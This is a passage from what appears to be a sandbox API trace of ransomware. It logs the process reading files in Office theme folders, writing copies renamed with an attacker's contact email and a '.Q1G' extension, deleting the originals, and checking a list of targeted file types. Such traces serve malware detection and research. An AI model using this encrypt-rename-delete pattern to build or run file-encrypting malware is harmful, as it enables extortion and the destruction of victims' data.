shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.543] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.543] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.544] GetLastError () returned 0x0 [0047.544] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x639, lpOverlapped=0x0) returned 1 [0047.546] WriteFile (in: hFile=0x20c, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x640, lpOverlapped=0x0) returned 1 [0047.547] ReadFile (in: hFile=0x1a8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.547] WriteFile (in: hFile=0x20c, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.547] SetEndOfFile (hFile=0x20c) returned 1 [0047.547] CloseHandle (hObject=0x20c) returned 1 [0047.547] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.547] SetEndOfFile (hFile=0x1a8) returned 1 [0047.548] CloseHandle (hObject=0x1a8) returned 1 [0047.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.548] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0047.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.548] lstrlenW (lpString=".doc") returned 4 [0047.548] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.548] lstrlenW (lpString=".docx") returned 5 [0047.548] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.549] lstrlenW (lpString=".pdf") returned 4 [0047.549] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.549] lstrlenW (lpString=".xls") returned 4 [0047.549] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.549] lstrlenW (lpString=".xlsx") returned 5 [0047.549] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.549] lstrlenW (lpString=".ppt") returned 4 [0047.549] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.549] lstrlenW (lpString=".zip") returned 4 [0047.549] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.549] lstrlenW (lpString=".rar") returned 4 [0047.549] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.549] lstrlenW (lpString=".bz2") returned 4 [0047.549] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.549] lstrlenW (lpString=".7z") returned 3 [0047.549] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.549] lstrlenW (lpString=".dbf") returned 4 [0047.549] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.549] lstrlenW (lpString=".1cd") returned 4 [0047.549] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.549] lstrlenW (lpString=".jpg") returned 4 [0047.549] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.549] lstrlenW (lpString=".doc") returned 4 [0047.549] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.549] lstrlenW (lpString=".docx") returned 5 [0047.549] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.549] lstrlenW (lpString=".pdf") returned 4 [0047.549] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.549] lstrlenW (lpString=".xls") returned 4 [0047.549] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.549] lstrlenW (lpString=".xlsx") returned 5 [0047.550] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.550] lstrlenW (lpString=".ppt") returned 4 [0047.550] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.550] lstrlenW (lpString=".zip") returned 4 [0047.550] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.550] lstrlenW (lpString=".rar") returned 4 [0047.550] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.550] lstrlenW (lpString=".bz2") returned 4 [0047.550] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.550] lstrlenW (lpString=".7z") returned 3 [0047.550] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.550] lstrlenW (lpString=".dbf") returned 4 [0047.550] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.550] lstrlenW (lpString=".1cd") returned 4 [0047.550] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0047.550] lstrlenW (lpString=".jpg") returned 4 [0047.550] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.550] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0047.550] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.551] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=21745) returned 1 [0047.551] CloseHandle (hObject=0x20c) returned 1 [0047.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0047.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.551] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.551] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.552] GetLastError () returned 0x0 [0047.552] ReadFile (in: hFile=0x20c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x54f1, lpOverlapped=0x0) returned 1 [0047.554] WriteFile (in: hFile=0x1c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5500, lpOverlapped=0x0) returned 1 [0047.555] ReadFile (in: hFile=0x20c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.555] WriteFile (in: hFile=0x1c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.555] SetEndOfFile (hFile=0x1c8) returned 1 [0047.555] CloseHandle (hObject=0x1c8) returned 1 [0047.555] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.555] SetEndOfFile (hFile=0x20c) returned 1 [0047.556] CloseHandle (hObject=0x20c) returned 1 [0047.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.556] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0047.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.557] lstrlenW (lpString=".doc") returned 4 [0047.557] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.557] lstrlenW (lpString=".docx") returned 5 [0047.557] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.557] lstrlenW (lpString=".pdf") returned 4 [0047.557] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.557] lstrlenW (lpString=".xls") returned 4 [0047.557] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.557] lstrlenW (lpString=".xlsx") returned 5 [0047.557] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.557] lstrlenW (lpString=".ppt") returned 4 [0047.557] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.557] lstrlenW (lpString=".zip") returned 4 [0047.557] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.557] lstrlenW (lpString=".rar") returned 4 [0047.557] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.557] lstrlenW (lpString=".bz2") returned 4 [0047.557] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.557] lstrlenW (lpString=".7z") returned 3 [0047.557] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.557] lstrlenW (lpString=".dbf") returned 4 [0047.557] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.557] lstrlenW (lpString=".1cd") returned 4 [0047.557] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.557] lstrlenW (lpString=".jpg") returned 4 [0047.557] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.558] lstrlenW (lpString=".doc") returned 4 [0047.558] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.558] lstrlenW (lpString=".docx") returned 5 [0047.558] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.558] lstrlenW (lpString=".pdf") returned 4 [0047.558] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.558] lstrlenW (lpString=".xls") returned 4 [0047.558] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.558] lstrlenW (lpString=".xlsx") returned 5 [0047.558] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.558] lstrlenW (lpString=".ppt") returned 4 [0047.558] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.558] lstrlenW (lpString=".zip") returned 4 [0047.558] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.558] lstrlenW (lpString=".rar") returned 4 [0047.558] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.558] lstrlenW (lpString=".bz2") returned 4 [0047.558] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.558] lstrlenW (lpString=".7z") returned 3 [0047.558] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.558] lstrlenW (lpString=".dbf") returned 4 [0047.558] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.558] lstrlenW (lpString=".1cd") returned 4 [0047.558] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0047.558] lstrlenW (lpString=".jpg") returned 4 [0047.558] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.558] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0047.558] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.559] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1339) returned 1 [0047.559] CloseHandle (hObject=0x20c) returned 1 [0047.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0047.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.559] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.559] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.561] GetLastError () returned 0x0 [0047.561] ReadFile (in: hFile=0x20c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x53b, lpOverlapped=0x0) returned 1 [0047.564] WriteFile (in: hFile=0x184, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x540, lpOverlapped=0x0) returned 1 [0047.566] ReadFile (in: hFile=0x20c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.566] WriteFile (in: hFile=0x184, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.566] SetEndOfFile (hFile=0x184) returned 1 [0047.566] CloseHandle (hObject=0x184) returned 1 [0047.566] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.566] SetEndOfFile (hFile=0x20c) returned 1 [0047.567] CloseHandle (hObject=0x20c) returned 1 [0047.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.567] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0047.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.568] lstrlenW (lpString=".doc") returned 4 [0047.568] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.568] lstrlenW (lpString=".docx") returned 5 [0047.568] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.568] lstrlenW (lpString=".pdf") returned 4 [0047.568] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.568] lstrlenW (lpString=".xls") returned 4 [0047.568] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.568] lstrlenW (lpString=".xlsx") returned 5 [0047.568] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.568] lstrlenW (lpString=".ppt") returned 4 [0047.568] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.568] lstrlenW (lpString=".zip") returned 4 [0047.568] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.568] lstrlenW (lpString=".rar") returned 4 [0047.568] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.568] lstrlenW (lpString=".bz2") returned 4 [0047.568] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.568] lstrlenW (lpString=".7z") returned 3 [0047.568] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.568] lstrlenW (lpString=".dbf") returned 4 [0047.568] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.568] lstrlenW (lpString=".1cd") returned 4 [0047.568] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.568] lstrlenW (lpString=".jpg") returned 4 [0047.568] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.568] lstrlenW (lpString=".doc") returned 4 [0047.569] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.569] lstrlenW (lpString=".docx") returned 5 [0047.569] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.569] lstrlenW (lpString=".pdf") returned 4 [0047.569] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.569] lstrlenW (lpString=".xls") returned 4 [0047.569] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.569] lstrlenW (lpString=".xlsx") returned 5 [0047.569] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.569] lstrlenW (lpString=".ppt") returned 4 [0047.569] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.569] lstrlenW (lpString=".zip") returned 4 [0047.569] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.569] lstrlenW (lpString=".rar") returned 4 [0047.569] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.569] lstrlenW (lpString=".bz2") returned 4 [0047.569] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.569] lstrlenW (lpString=".7z") returned 3 [0047.569] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.569] lstrlenW (lpString=".dbf") returned 4 [0047.569] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.569] lstrlenW (lpString=".1cd") returned 4 [0047.569] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0047.569] lstrlenW (lpString=".jpg") returned 4 [0047.569] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.569] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0047.569] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.570] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=16738) returned 1 [0047.570] CloseHandle (hObject=0x20c) returned 1 [0047.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0047.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 